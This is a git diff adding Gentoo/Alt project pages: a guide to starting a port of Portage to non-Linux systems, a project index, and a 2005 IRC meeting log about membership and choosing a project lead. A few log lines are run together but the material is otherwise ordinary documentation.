+This allows to drop the patches when new versions are released.
+</p>
+
+<p>
+The first important step is to make sure that the patch applies
+unconditionally, this means that after applying the patch, the sources works
+fine on every system, and not just the one you're patching for, and also
+that when adding code to workaround system problems, it should be protected
+with the right checks (preprocessor or autoconf) so that they don't get in the
+way when they are not needed.
+</p>
+
+<p>
+Patches that changes entirely the building system of a package are usually
+discouraged, try to find a compromise with upstream developers, also if that
+would mean having an unusable package in the time being.
+</p>
+
+</body>
+</subsection>
+
+<subsection> <!-- Behavior changes -->
+<title>Behavior changes</title>
+<body>
+
+<p>
+All the behavior changes that might affect Gentoo Linux users must always be
+announced on gentoo-alt at least, and on gentoo-dev if they might affect
+development practices.
+</p>
+
+<p>
+The behavior changes should also be tested on the
+<uri link="index.xml?part=1&amp;chap=3">gentoo-alt overlay</uri> so that it doesn't hit the
+normal users before testing.
+</p>
+
+</body>
+</subsection>
+
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/en/gentoo-alt/contribute/port-start.xml b/xml/htdocs/proj/en/gentoo-alt/contribute/port-start.xml
new file mode 100644
index 00000000..6b901c84
--- /dev/null
+++ b/xml/htdocs/proj/en/gentoo-alt/contribute/port-start.xml
@@ -0,0 +1,397 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/gentoo-alt/contribute/port-start.xml,v 1.3 2006/05/02 06:33:54 flameeyes Exp $ -->
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+
+<sections>
+
+<version>1.1</version>
+<date>2006-05-02</date>
+
+<section> <!-- Introduction -->
+<title>Introduction</title>
+
+<subsection> <!-- Preamble -->
+<title>Preamble</title>
+
+<body>
+
+<p>
+Starting a new Gentoo/Alt port is not too difficult, when you know how to do it
+and what needs to be considered. This guide will explain the basic generic
+steps needed to start the porting work.
+</p>
+
+<p>
+Because of the Linux nature or the base of Gentoo/Alt structure, some of the
+internals are based on an Unix-like structure, while the QA checks on the
+compiled binaries are done considering ELF binaries as result. Tweaking of these
+checks is a complex process and needs to be done with the help of the devs who
+wrote those checks. For this reason, they won't be treated in this guide.
+</p>
+
+<p>
+There are quite a few decision that one should start looking at when starting a
+new Gentoo/Alt project, as therea are many different parameters that might
+change the way the changes should be made. For every decision, this guide will
+try to provide a selection of problems and solution to them, trying to give
+help for every case.
+</p>
+
+<p>
+You probably can try to port Gentoo/Alt on different conditions than the ones
+explained here. They are just general guidelines to explain how the things were
+done on current working ports.
+</p>
+
+</body>
+</subsection>
+
+<subsection> <!-- Support -->
+<title>Support</title>
+
+<body>
+
+<p>
+It's usually useful, when creating a new port, to get in touch with the other
+developers working on Gentoo/Alt. This can be done through the <c>gentoo-alt</c>
+<uri link="/main/en/lists.xml">mailing list </uri> or through the channel
+<c>#gentoo-alt</c> on Freenode network.
+</p>
+
+<p>
+Mailing list and IRC channel are a good way to ask for solution to problems that
+are not treated in this guide (because of difference in the environment or
+simply because they were not present a tthe time of writing), and to follow the
+development of common decision inside and outside the project.
+</p>
+
+<p>
+Also, if you're going to use Gentoo Portage for your port, you probably also
+want to watch the <c>alt@gentoo.org</c> mail alias on
+<uri link="http://bugs.gentoo.org/">Bugzilla</uri> to see what is going on with
+portability of most ebuilds or scripts or other things that you might encounter
+in your process.
+</p>
+
+</body>
+</subsection>
+
+<subsection> <!-- Choices -->
+<title>Choices</title>
+
+<body>
+
+<p>
+There are many choices one have to do when starting a Gentoo/Alt project. The
+first and probably most important one is to choose if making a primary package
+manager or a secondary. The first case is what is being done by Gentoo/FreeBSD,
+while the latter is what is being done by Gentoo/OSX.
+</p>
+
+<p>
+After deciding this there are other things that should be consdiered, starting,
+for example, from the kind of init system you want to use, if you want to just
+use the one used by your operating system, or replace it with the one used by
+Gentoo Linux.
+</p>
+
+<p>
+Every decision has its own rights and wrongs, and they should always be chosen
+carefully. Sometimes it's also possible to provide different implementations
+that allow the user to select what wants to do.
+</p>
+
+</body>
+</subsection>
+
+<subsection> <!-- Defining the userland -->
+<title>Defining the userland</title>
+
+<body>
+
+<p>
+Just one decision should be done as soon as possible and should be notified to
+Gentoo/Alt mailing list and developers, and regards the userland. Every system
+has its own native userland, sometimes using options different than other
+userlands.
+</p>
+
+<p>
+The most clear distinction is between GNU userland, used by almost every
+Linux-based distribution, and the BSD userland, used by FreeBSD and other
+BSDs. The <c>${USERLAND}</c> variable used by Gentoo representes the set of
+commands used by the base system and their options handling. For example, in a
+BSD userland, the GNU packages installs with a <c>g-</c> prefix, and the non
+prefixed commands are BSD, accepting a different range of options and arguments.
+</p>
+
+<note>
+The name of the userlands is quite arbitrary, so a GNU userland is actually the
+userland as it is in a default Gentoo Linux installation.
+</note>
+
+<p>
+When defining a new value for <c>${USERLAND}</c>, you should send an email to
+gentoo-alt mailing list telling what it represents, which difference there are
+between that and the default "GNU" userland, and who provides the basic commands
+like <c>make</c>, <c>sed</c>, <c>awk</c>, <c>patch</c>, <c>tar</c>. This means
+that a given userland might use GNU make as <c>make</c>, but still use GNU sed
+as <c>gsed</c> (this is actually done by Darwin userland).
+</p>
+
+<p>
+The userland selection will change the way things will be installed afterwards
+and also the way some part of Portage will behave, so please choice carefully
+what you want to set and declare.
+</p>
+
+<note>
+Some commands that interacts with the kernel, such as <c>ifconfig</c> and
+<c>ps</c>, are considered part of the userland. This is not exact, but it's a
+way to make sure that their user interface is consistent with the rest of the
+system. Ports of GNU userland on other operating systems should make sure that
+they can provide equivalent commands with similar syntaxes to the ones used on
+Linux.
+</note>
+</body>
+</subsection>
+
+</section>
+
+<section> <!-- Porting as primary manager -->
+<title>Porting as primary manager</title>
+
+<subsection> <!-- What does it mean -->
+<title>What does it mean</title>
+
+<body>
+
+<p>
+A primary package manager is a package manager that takes care of every file,
+library and dependency of the package it manages. When creating a port that is a
+primary package manager, every file present in the system must be managed by
+portage itself.
+</p>
+
+<p>
+There are many reasons why not every port can be a primary package manager. To
+do that, you need to have access to the sources of all the operating system and
+be able to patch them, usually. This means that you cannot create a primary
+package manager for a proprietary operating system where you don't have the
+sources for the base system. In those cases, you must rely on the secondary
+package management.
+</p>
+
+<p>
+The primary package management is what Portage born to do, and what Gentoo Linux
+does. Adapting Portage to be the primary package manager in another operating
+system, when you have sources, it's usually simple enough to be feasible without
+too much hacking, and should be considered the starting point for projects that
+wants to create a secondary package manager.
+</p>
+
+</body>
+</subsection>
+
+<subsection> <!-- How to bootstrap -->
+<title>How to bootstrap</title>
+
+<body>
+
+<p>
+With the term <e>bootstrap</e> this guide will usually refer to the process of
+creating the first base from where to start doing the port work for portage
+code, ebuilds and eclasses. While a bootstrapped system is not a complete Gentoo
+system, it should be able to install many packages with a simple <c>emerge</c>
+command. From such a system you can usually create a <e>stage</e>, that will be
+the actual starting point for new Gentoo/Alt systems.
+</p>
+
+<p>
+The bootstrap process is sometimes tricky, as it requires to patch, compile and
+tweak many packages by hand. It also might require to be done once per version
+of the operating system, and also once per hardware architecture you want to
+add, if the sources are not cross-compilable (and also in that case, it can be
+tricky as Portage has very little crosscompile support).
+</p>
+
+<p>
+The first thing to do is installing the dependencies of Portage itself, this
+means Python, bash, GNU make, GNU sed, GNU awk and GNU patch. Depending on what
+your "classic" userland uses for them, you might need to install them with a
+<c>g-</c> prefix, making them <c>gmake</c>, <c>gsed</c>, <c>gawk</c> and
+<c>gpatch</c>.
+</p>
+
+<note>
+Unless you're going to work on a GNU/* project, such as GNU/Hurd or
+GNU/kFreeBSD, is usually suggested to leave the native userland of your
+operating system as default. Who wants to have the GNU syntax on basic commands
+while being at user can then make use of <c>sys-devel/userland-gnu</c> ebuild,
+that installs symlinks to GNU-like commands in <path>/usr/libexec/gnu</path>, so
+that users can simply add that to path to have a GNU-like interface.
+</note>
+
+<p>
+Additionally, you might want to install also <c>rsync</c> to be able to get the
+portage tree with <c>emerge sync</c> command. This is not mandatory, though, as
+you can work on the first steps using a NFS-mounted tree or simply downloading
+a snapshot of the tree to work on. This way is also suggested to be able to get
+easily the difference between the original ebuilds and the ones edited to let
+them work on your system, when needed.
+</p>
+
+<p>
+Python is the critical part, as it needs to be patched with the same patches
+that are applied by the ebuild itself. Please refer to the latest ebuild in
+Portage to get the updated patches and make sure they are applied before
+building and installing it. Also, it should be installed on <path>/usr</path>,
+not in <path>/usr/local</path> as it defaults.
+</p>
+
+<p>
+Bash is instead a quite simple package. The only note to this is that, while
+many systems can install bash as an extra package, and then install its binary
+in <path>/usr/bin</path>, that won't work easily on Gentoo/Alt projects, so it
+should be installed as <path>/bin/bash</path>. This path is important as many
+scripts and other things in portage refers to that directly.
+</p>
+
+<p>
+The other packages (GNU make, GNU sed, GNU awk and GNU patch) are quite simple
+to handle. They can be installed in <path>/usr/local</path>, while it's
+suggested to install them in <path>/usr</path> as an ebuild would do. The only
+thing is that, if you decide to prefix them with <c>g-</c>, you should run the
+<c>./configure</c> in a slighly different way.
+</p>
+
+<pre caption="calling ./configure for GNU make, GNU sed, GNU akw or GNU patch">
+<comment>The --program-prefix option is only necessary when you want to g-prefix them</comment>
+./configure --prefix=/usr --program-prefix=g
+</pre>
+
+<p>
+Once you built and installed all those packages, you can start installing
+Portage itself. Right now, Portage package does not have an installation script
+nor it is autotooled, so you need to install it by hand. Depending on the
+version currently in portage, you might be needed to patch the source tarball.
+For both the patches and the installation procedure, it's highly suggested to
+refer to the ebuild for that version of Portage itself.
+</p>
+
+<p>
+To run Portage, you anyway need a few things to clean up before. The first thing
+is adding a <c>portage</c> user and group. This group should have uid/gid set at
+250. Also, for many things you need a <c>wheel</c> group. This group is used on
+BSD derived system insetad of the <c>root</c> group used by Linux and Solaris.
+If the operating system under which you're porting Portage does not have a
+<c>wheel</c> group, add one with either gid 0 or 10 (the first is an alias to
+<c>root</c> group, as done by BSDs, the latter is instead the <c>wheel</c>
+replacement used on Linux).
+</p>
+
+</body>
+</subsection>
+
+<subsection> <!-- Dealing with library naming changes -->
+<title>Dealing with library naming changes (ELF only)</title>
+
+<body>
+
+<note>
+This part is specific to ELF only targets as it involves ELF shared objects,
+if your port does not use ELF binaries, you can skip this entirely.
+</note>
+
+<p>
+There's one thing that might be tricky when starting a port for a totally open
+source operating system, if that uses so-called <e>contrib</e> packages, like
+libraries and similar, in other words libraries developed by other open source
+projects and released separately, used inside the system sources with the
+sources copied verbatim: when using the same library by the standalone package,
+it might change soname from the version in the operating system.
+</p>
+
+<p>
+A little explanation: the soname is the internal name of the library, used by
+the dynamic loader to know that the library is the <e>right one</e> (that is,
+it uses the right ABI) for the executable is loading. Usually the soname
+corresponds either to the whole name of the library (<b>libfoo.so.3.4</b>)
+or to the name with the first version stated (<b>libfoo.so.3</b>.4). Most of the
+dynamic linkers doesn't really take in consideration that the soname is the same,
+but uses the soname to look up the file on disk.
+</p>
+
+<p>
+Especially on *BSD based systems, the libraries are named with a single version
+after the <path>.so</path> extension, while on GNU-based systems or with a GNU
+setting in libtool, the name is with two or three parts, to avoid breaking the
+linkage of executables for every minor update of the library that does not
+really break the ABI.
+</p>
+
+<p>
+When doing the bootstrap of a system that uses this setup, you'll end up with
+packages pointing to libraries named in a different way than the same libraries
+in portage. For instance a default FreeBSD 5.4 install will have
+<path>libiconv.so.4</path> while portage will install <path>libiconv.so.2.3</path>.
+To solve these problems, after making sure the version of the library is the same
+or that the ABI is compatible (no missing symbols), you can do some symlinks to
+let the dynamic loader to load the new library (2.3). These hacks has to be
+removed after the whole system is re-emerged, so that they are not needed in the
+final stage.
+</p>
+
+</body>
+
+</subsection>
+
+<subsection> <!-- Things to change in Portage and eclasses -->
+<title>Things to change in Portage and eclasses</title>
+
+<body>
+
+<p>
+There are a few things that usually needs to be checked when porting Portage on
+a new operating system. The most important one is the <c>ldconfig</c> and its
+way to update the libraries path. Portage uses <c>ldconfig</c> inside
+<c>env-update</c> script to tell the dynamic loader where to look for libraries.
+</p>
+
+<p>
+As the syntax and the way <c>ldconfig</c> work varies vastly on different
+operating systems, this must be changed in portage itself. This must be looked
+at with the help of Portage developers, and can be discussed on gentoo-alt
+mailing list.
+</p>
+
+<p>
+Another important thing is to update <c>enewuser</c>, <c>enewgroup</c>,
+<c>egetent</c> and <c>egethome</c> functions in <path>eutils.eclass</path> and
+<path>portability.eclass</path>. Those functions are used to create new users
+and new group, to get data about existing users and groups, and to get the home
+directory for a given user. They users <c>${CHOST}</c> variable to find out how
+to do that, so you need to add a value for your own value.
+</p>
+
+<p>
+If your operating system uses a linker (<c>ld</c>) different from GNU's one, you
+should also add it to the <c>bindnow_flags</c> function inside
+<path>flag-o-matic.eclass</path>, and you're suggested to improve the
+<path>nowbinding.m4</path> macro file to select the right flags. The flags used
+for "bindnow" binding are used to avoid lazy binding of libraries on setuid
+binaries. Please refer to your own linker manual to find which flag should be
+used.
+</p>
+
+</body>
+</subsection>
+
+</section>
+
+</sections>
+
+<!-- kate: space-indent on; indent-width 2; replace-tabs on; indent-mode normal; -->
diff --git a/xml/htdocs/proj/en/gentoo-alt/index.xml b/xml/htdocs/proj/en/gentoo-alt/index.xml
new file mode 100644
index 00000000..004a60ef
--- /dev/null
+++ b/xml/htdocs/proj/en/gentoo-alt/index.xml
@@ -0,0 +1,96 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/gentoo-alt/index.xml,v 1.38 2010/04/07 02:50:14 the_paya Exp $ -->
+
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+<project>
+<name>gentoo-alt</name>
+<longname>Gentoo/Alt: Gentoo on alternate platforms</longname>
+
+<date>2008-03-17</date>
+
+<author title="Author">
+  <mail link="flameeyes@gentoo.org">Diego Pettenò</mail>
+</author>
+<description>
+  Provide Gentoo-way solutions for non-GNU/Linux platforms.
+</description>
+
+<longdescription>
+  <p>
+  Gentoo/Alt is a top-level project that manages efforts to support
+  alternate Gentoo platforms and runtime environments. In many ways,
+  gentoo-alt represents the "cutting edge" work that is being done to
+  expand the capabilities and potential of Gentoo in general.
+  </p>
+</longdescription>
+
+<subproject ref="/proj/en/gentoo-alt/bsd/index.xml" inheritmembers="yes" />
+<subproject ref="/proj/en/gentoo-alt/prefix/index.xml" inheritmembers="yes" />
+<subproject ref="/proj/en/gentoo-alt/at/index.xml" inheritmembers="no" />
+
+<task id="techdoc" lead="flameeyes" finished="no">
+  <name>Tech documentation</name>
+  <description>A complete documentation for developers</description>
+  
+  <longdescription>
+    <p>
+	  To avoid that the missing of one of the devs makes difficult
+	  maintaining the project, all the technical documentation about
+	  Gentoo/Alt projects must be written and published, so that they
+	  are available to whoever wants to help.
+    </p>
+  </longdescription>
+  
+  <startdate>2005-09-14</startdate>
+</task>
+
+<task id="prefix" lead="grobian" finished="yes">
+  <name>Alternate Prefix</name>
+  <description>Support for alternate prefixes for portage</description>
+  
+  <longdescription>
+    <p>
+	  To get Gentoo/Alt projects working on platforms where you are not
+	  able to change what is installed in base system (closed-source
+	  systems, for instance), a solution is to add support for alternate
+	  prefix installation in portage.
+    </p>
+  </longdescription>
+  
+  <startdate>2005-11-11</startdate>
+  <dev role="member">grobian</dev>
+</task>
+
+<resource link="/proj/en/gentoo-alt/contribute/">
+  Gentoo/Alt Contributor's Guide
+</resource>
+
+<resource link="/main/en/lists.xml">
+  gentoo-alt mailing list for Gentoo/Alt discussions
+</resource>
+
+<extrachapter> <!-- Meetings -->
+<title>Meetings</title>
+
+<section>
+<body>
+<p>
+Here you can find all the logs of Gentoo/Alt meetings, ordered by date. The
+meetings are being held on request from project members and occours on
+<c>#gentoo-alt</c> (moderated if it's the case).
+</p>
+<ul>
+  <li>
+    <uri link="/proj/en/gentoo-alt/logs/gentoo-alt-20050926.log">2005-09-26</uri>
+  </li>
+</ul>
+</body>
+</section>
+
+</extrachapter>
+
+</project>
+
+<!-- kate: space-indent on; indent-width 2; replace-tabs on; -->
diff --git a/xml/htdocs/proj/en/gentoo-alt/logs/gentoo-alt-20050926.log b/xml/htdocs/proj/en/gentoo-alt/logs/gentoo-alt-20050926.log
new file mode 100644
index 00000000..3e78c29b
--- /dev/null
+++ b/xml/htdocs/proj/en/gentoo-alt/logs/gentoo-alt-20050926.log
@@ -0,0 +1,659 @@
+[20:59] 	gongloo	boo
+[20:59] 	grobian	hi!
+[20:59] 	gongloo	hi!
+[20:59] 	gongloo	wanted to apologize for being out of the loop longer than i had originally intended
+[21:00] 	grobian	long time no see
+[21:00] 	gongloo	details are on my blog, but the gist is that my server died and had to be rebuilt
+[21:00] 	j4rg0n	grobian: yeah, I needed time off to get my medical school applications together
+[21:00] 	Flameeyes	kito, we're expecting someone else?
+[21:00] 	gongloo	not to mention that whole hurricane rita thing
+[21:00] 	grobian	ah, you guys in the middle of that?
+[21:00] 	gongloo	grobian: she is. i'm in the middle of job apps
+[21:00] 	j4rg0n	I'm back as of a few days ago, but my time is still limited. I've got interviews all next month
+[21:00] 	grobian	aha
+[21:01] 	*	spb- looks in
+[21:01] 	grobian	kito, do we wait a minute or five to see who jumps in?
+[21:01] 	*	Flameeyes sees a lazy spb's clone
+[21:02] 	j4rg0n	grobian: I'd prefer not, as it's 3PM here and I'm still missing lunch...
+[21:02] 	gongloo	speaking of lunch
+[21:02] 	spb-	ha
+[21:02] 	spb-	i have toast next to keyboard
+[21:02] 	Flameeyes	kito, still with us or the power has gone?
+[21:02] 	gongloo	i'm going to go get something from the café while you guys um... discuss stuff
+[21:02] 	grobian	kito, ping
+[21:02] 	gongloo	i'll brb
+[21:02] 	*	gongloo goes and gets himself+j4 some food
+[21:03] 	grobian	hmmm, Flameeyes you take the lead here?
+[21:03] 	Flameeyes	grobian, seems like kito has gone... ok starting from the order in the topic...
+[21:03] 	Flameeyes	rollcall: who is still with us, who is not?
+[21:03] 	*	spb- is, believe it or not
+[21:03] 	grobian	ok
+[21:03] 	spb-	in theory at least
+[21:03] 	grobian	spb-, on what exactly?
+[21:04] 	spb-	what on what ?
+[21:04] 	Flameeyes	from bsd i have quite an idea of who there is
+[21:04] 	j4rg0n	okay, I can give a few ] 	grobian	at max 4
+[21:04] 	spb-	Flameeyes: looking at project pages here?
+[21:04] 	j4rg0n	alexander has been a pretty big "not" since the start
+[21:05] 	Flameeyes	gongloo, grobian, j4rg0:05] 	Flameeyes	spb-, yeah project page
+[21:05] 	j4rg0n	ndimiduk is also there, but busy a lot
+[21:05] 	j4rg0n	he does do some stuff tho
+[21:05] 	spb-	has alexander ever done anything?
+[21:spb- nods
+[21:07] 	Flameeyes	well then the developers listed on macos page are more or less existant... pvdabeel?
+[21:07] 	j4rg0n	eklipse is not active
+[21:07] 	grobian	never seen him
+[21:0] 	j4rg0n	i dunno if he/she's still listed
+[21:07] 	Flameeyes	j4rg0n, he's not even on the project page
+[21:07] 	j4rg0n	okay
+[21:07] 	Flameeyes	josejx, gongloo, grobian, j4rg0n, kito, ndimiduk, pvdabeel
+[21:07] 	Flameeyes	that is the project page
+[21:07] 	grobian	ndimiduk is very very limited active
+[21:08] 	j4rg0n	he's on the main staff page tho
+[21:08] 	j4rg0n	grobian: right, but he is active somewhat
+[21:08] 	j4rg0n	unlike alexander
+[21:08] 	j4rg0n	grobian: also, if you give him things to do, he'll do it
+[21:08] 	Flameeyes	for the gentoo-alt project page, i think the best way is to do as we do for bsd page http://www.gentoo.org/proj/en/gentoo-alt/bsd/index.xml with inheritmembers
+[21:08] 	grobian	josejx said himself he's not playing with his mac anymore
+[21:08] 	j4rg0n	he just lacks self-direction AFAICT
+[21:08] 	j4rg0n	can the future project lead get rid of the excess devs tho?
+[21:09] 	grobian	Flameeyes, kito had some clear thoughts on this
+[21:09] 	Flameeyes	grobian, on what?
+[21:09] 	grobian	on the page
+[21:09] 	Flameeyes	grobian, we already talked about the inheritmembers to clean up the devs list
+[21:09] 	spb-	j4rg0n: we can talk to devrel about retiring the inactive ones
+[21:09] 	grobian	Flameeyes, somethings like that and let all inherit fromgentoo-alt
+[21:09] 	kito	ok, work will continue to interrupt, sorry about that
+[21:10] 	grobian	kito :)
+[21:10] 	Flameeyes	grobian, it's the opposite, gentoo-alt inherits from bsd and macos
+[21:10] 	kito	I propse we just update the alt-project page
+[21:10] 	Flameeyes	[like bsd inherits from fbsd]
+[21:10] 	kito	and those who are ommitted, can be added if they really care
+[21:10] 	grobian	Flameeyes, ignore my comment, kito knows
+[21:10] 	Flameeyes	kito, that is point 4 anyway :P
+[21:10] 	kito	devrel can handle doing the actual retiring
+[21:10] 	kito	thats not our problem
+[21:10] 	Flameeyes	kito, yeah right, as we did for sound
+[21:10] 	kito	so, current os x devs seem to be : grobian,j4rg0n, kito, ndimiduk, gongloo
+[21:11] 	grobian	ok
+[21:11] 	j4rg0n	kito: correct
+[21:11] 	kito	Flameeyes and bsd?
+[21:11] 	j4rg0n	kito: all i'm saying is the future lead should cct devrel about our inactive devs
+[21:11] 	j4rg0n	just to list them as inactive
+[21:11] 	Flameeyes	kito, bsd is me, spb, ka0ttic and citizen right now
+[21:11] 	Flameeyes	the project page is already updated, and so is the herd
+[21:11] 	kito	ok
+[21:11] 	grobian	nice
+[21:12] 	spb-	angusyoung might be on the return, but probably should be left off for now
+[21:12] 	kito	so right now, the alt page members should be exactly macos+bsd devs
+[21:12] 	spb-	yar
+[21:12] 	Flameeyes	spb-, don't think he will have the time soon, seeing how was before, but yeah he'll probably be back in the future
+[21:12] 	kito	g2boojum is not active in bsd anymore correct?
+[21:12] 	Flameeyes	kito, right
+[21:12] 	kito[21:12] 	kito	next topic?
+[21:12] 	Flameeyes	project lead
+[21:12] 	grobian	2)?
+[21:12] 	grobian	k
+[21:13] 	*	kito has changed the topic to: 2) Project Lead 3) Sub-project organization 4) Project pages 5) Roadmap 6) Portage re-write 7) ${ARCH} usage 8) ebuild naming and categorization 9) Merging patches to tree 10) Repoman checks 11) Open Floor
+[21:13] 	spb-	nominations anyone?
+[21:13] 	Flameeyes	now it's sure that we need a project lead ...
+[21:13] 	kito	how bad is this really needed?
+[21:13] 	kito	actually, I guess with the new council rules, it is a req.
+[21:13] 	Flameeyes	kito, quite enough, we have no coordination between the projects right now
+[21:13] 	j4rg0n	i think it's needed, you already know my opinions
+[21:13] 	spb-	kito: i'm thinking it's probably worth having someone there if only for coordination etc
+[21:13] 	j4rg0n	Flameeyes++
+[21:13] 	gongloo	back
+[21:13] 	kito	ok
+[21:14] 	grobian	Flameeyes, ok
+[21:14] 	spb-	bsd and macos are doing so much of the same stuff
+[21:14] 	Flameeyes	and we have quite a few common projects: catalyst and sandbox for start
+[21:14] 	kito	spb- indeed
+[21:14] 	grobian	spb-, how is your macos likeness?
+[21:14] 	spb-	grobian: hm?
+[21:14] 	j4rg0n	as long as it's not an operational type lead, i'd be happy with one lead between the two alt projects, just for coordination's sake
+[21:14] 	grobian	i.e. get gentoo-alt lead
+[21:15] 	grobyou're now bsd lead, right spb- ?
+[21:15] 	spb-	grobian: yar
+[21:15] 	kito	I say no silly sub titles like op/strat
+[21:15] 	kito	just have a lead.
+[21:15] 	Flameeyes	kito++
+[21:15] 	grobian	yep, for the record
+[21:15] 	grobian	like spb is lead of gentoo-alt
+[21:15] 	j4rg0n	fine, i meant in terms of what the lead *does*
+[21:15] 	grobian	and thus of ppc-macos as well
+[21:15] 	*	ferringb notes you may need to change that down the line btw
+[21:15] 	spb-	kito: sometimes the distinction is useful
+[21:15] 	ferringb	addition of an operational manager...
+[21:16] 	kito	ferringb the titles orr?
+[21:16] 	ferringb	kito: roles
+[21:16] 	kito	ok
+[21:16] 	ferringb	title is just fluff
+[21:16] 	spb-	whe this is one of those times i'm not sure
+[21:16] 	Flameeyes	well we need a lead that cares about having the project pages upda better than pvdabeel current time :P
+[21:18] 	kito	well, don't want you spread too thin
+[21:18] 	Flameeyes	you're all sure of what you're doing?
+[21:18] 	j4rg0n	is it that much more work tho?
+[21:18] 	grobian	Flameeyes, you're quite responsive at least
+[21:19] 	j4rg0n	I mean, he already kinda does most of the stuff
+[21:19] 	kito	spb- thoughts?
+[21:19] 	spb-	kito: on?
+[21:19] 	kito	spb- Flameeyes leading
+[21:19] 	grobian	that is, Flameeyes leads you, and you lead Flameeyes :p
+[21:19] 	spb-	there are worse candidates
+[21:19] 	kito	right now, it mostly be coordination, but if things like dfly and opensolaris come about...
+[21:19] 	spb-	grobian: yeah, that could  be a bit interesting
+[21:19] 	grobian	spb-, that's why I asked you :D
+[21:20] 	Flameeyes	kito, dfly goes under bsd anyway, it's 90% fbsd
+[21:20] 	spb-	kito: dfly would come under me anyway ;p
+[21:20] 	kito	ok
+[21:0] 	*	ferringb notes one can also step down if it proves to much, btw.  that's one of the bits about leading past leaders have missed. ;)
+[21:20] 	kito	ferringb indeed
+[21:20] 	grobian	good point
+[21:20] 	Flameeyes	right... so we'll try that, and hope? :P
+[21:21] 	kito	well, as Flameeyes is definitely the most pro-active at this point, I say its a no-brainer
+[21:21] 	gongloo	lets try to concentrate on how things are _now_ rather than what may or may not come along the line in terms of choosing lead, since the lead can be re-elected/changed/whatever later on if/when said things happen
+[21:21] 	grobian	kito, did someone record that?
+[21:21] 	spb-	Flameeyes: you want to do it?
+[21:21] 	kito	grobian record what?
+[21:21] 	j4rg0n	spb-: if he decides agt it, he can always step down...
+[21:21] 	kito	grobian logging the meeting?
+[21:21] 	Flameeyes	spb-, well i can at least try, and we'll see what happens
+[21:21] 	spb-	j4rg0n: yeah, that he can
+[21:21] 	grobian	kito, that he said he would try it
+[21:21] 	Flameeyes	in cas as they said, i can ask for a new meeting :P
+[21:22] 	kito	hehhe
+[21:22] 	kito	ok
+[21:22] 	spb-	ok, does macos want a subproject lead too?
+[21:22] 	kito	Flameeyes is that a yes?
+[21:22] 	Flameeyes	kito, i think yes at this point
+[21:22] 	kito	ok.
+[21:22] 	grobian	Flameeyes, thanks
+[21:22] 	kito	Flameeyes++
+[21:22] 	kito	now
+[21:23] 	kito	do we want to get in to the macos fiasco now or later?
+[21:23] 	grobian	ahem
+[21:23] 	spb-	heh
+[21:23] 	spb-	now! now!
+[21:23] 	grobian	I think ts gonna take a lot of time
+[21:23] 	kito	ok
+[21:23] 	kito	might as well get it over with
+[21:23] 	grobian	postpone it
+[21:23] 	j4rg0n	i'd rather not postpone
+[21:23] 	j4rg0n	that means more meetings
+[21:24] 	kito	no, just later in this meeting
+[21:24] 	grobian	I meant, first do the other agenda items
+[21:24] 	kito	not later as in days
+[21:24] 	gongloo	isn't that something pertinent only to gentoo-osx (IE doesn't belong in a gentoo-alt meeting)? not saying i don't want to discuss it, just saying we might be hijacking a meeting here
+[21:24] 	j4rg0n	i may not be here later in this meeting
+[21:24] 	j4rg0n	i have another meeting right after this one :/
+[21:24] 	Flameeyes	well it was point ub-project organization ...
+[21:24] 	kito	yup
+[21:24] 	grobian	I vote againts doing it now
+[21:24] 	*	kito has changed the topic to: 3) Sub-project organization 4) Project pages 5) Roadmap 6) Portage re-write 7) ${ARCH} usage 8) ebuild naming and categorization 9) Merging patches to tree 10) Repoman checks 11) Open Floor
+[21:25] 	spb-	ok, agenda point 3
+[21:25] 	gongloo	okie doke
+[21:25] 	kito	hehe
+[21:25] 	*	ferringb twitches at 6
+[21:25] 	ferringb	plus side, I know when to run...
+[21:25] 	grobian	lol
+[21:25] 	kito	hahah
+[21:25] 	gongloo	let's first clarify what exactly a lead should do...
+[21:25] 	kito	ok, this is going to muddy agenda items
+[21:26] 	spb-	ferringb: you do realise that we will be hijacking saviour for all sorts of unholy things
+26] 	kito	but here we go...
+[21:26] 	gongloo	anyone have any ideas? i obviously have a few of my own, and none of them involve telling people what to do, yet everyone seems to think they'd take commands from a lead
+[21:26] 	spb-	gongloo: worth knowing, isn't it
+[21:26] 	j4rg0n	spb-: aye
+[21:26] 	grobian	spb-, what do you do as lead?
+[21:26] 	kito	haha
+[21:26] 	spb-	grobian: there are several possible answers to that ;)
+[21:26] 	Flameeyes	gongloo, mainly, it should check what is being done, how is being done
+[21:27] 	kito	agreed
+[21:27] 	gongloo	Flameeyes: to what end?
+[21:27] 	j4rg0n	but not direct what is being done? or yes?
+[21:27] 	Flameeyes	grobian, he tells me that's ok to do whave in mind, lately ;P
+[21:27] 	gongloo	hmmm
+[21:27] 	Flameeyes	j4rg0n, depends if it's something that goes project-wise or single...
+[21:27] 	grobian	Flameeyes, cool... he monitors you
+[21:27] 	spb-	grobian: mainly making sure that the project devs aren't being stupid
+[21:28] 	j4rg0n	spb-: in what sense?
+[21:28] 	grobian	spb-, great
+[21:28] 	spb-	and then talking to people like portage devs when we need strange things donoe
+[21:28] 	gongloo	sounds like a very 'mommy' role
+[21:28] 	spb-	done*
+[21:28] 	kito	for instance, with Flameeyes as a curent alt-lead, if someone in either the macos or bsd team wants to do something global, it would need Flameeyes ok
+[21:28] 	grobian	sounds good
+[2] 	ferringb	spb-: you do realize I'm going to be doing unholy things with saviour myself, yes?
+[21:28] 	grobian	at least someone who knows what happening overall
+[21:29] 	spb-	ferringb: yep
+[21:29] 	j4rg0n	that's agreeable since it affects multiple people's work
+[21:29] 	kito	I would expect the same from the sub project leads
+[21:29] 	spb-	grobian: needs to know what's happening overall inside and out of the project
+[21:29] 	grobian	spb-, agreed
+[21:29] 	spb-	ie how the stuff we're doing is going to interact with everything else
+[21:29] 	Flameeyes	j4rg0n, basically a change in a side ebuild wouldn't usually require lead intervention... but if someone wants to change the way a system package is installed that is something that requires a bit of conation
+[21:29] 	j4rg0n	kito: would you include your darwin efforts in the osx lead's realm?
+[21:29] 	kito	j4rg0n yes
+[21:30] 	j4rg0n	kito: oh
